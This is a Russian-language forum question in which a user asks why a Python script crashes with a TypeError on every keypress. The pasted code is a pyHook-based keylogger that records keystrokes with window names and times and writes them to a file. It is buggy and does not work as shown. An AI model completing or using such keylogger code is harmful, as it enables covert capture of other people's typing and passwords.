Когда я нажимаю любую клавишу, мой скрипт падает (программа Python перестал работать) со следующей ошибкой:
Error: TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_
code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
Код:
def OnKeyboardEvent(event):
global current_window
global keylog
global file
if current_window != event.WindowName:
current_window = event.WindowName
keylog += "\n\n[{}] @ {}\n".format(current_window, time.ctime())
key = ""
if event.Ascii == 8:
key = '[Backspace]'
elif event.Ascii == 13:
key = '\n'
elif event.Ascii == 27:
key = '[ESC]'
elif event.Ascii:
key = chr(event.Ascii)
else:
keylog += key
if len(keylog) == 40:
f.open(filename, "a")
f.write("\n\n")
f.write(keylog)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
while True:
try:
while True:
pythoncom.PumpMessages()
except KeyboardInterrupt:
pass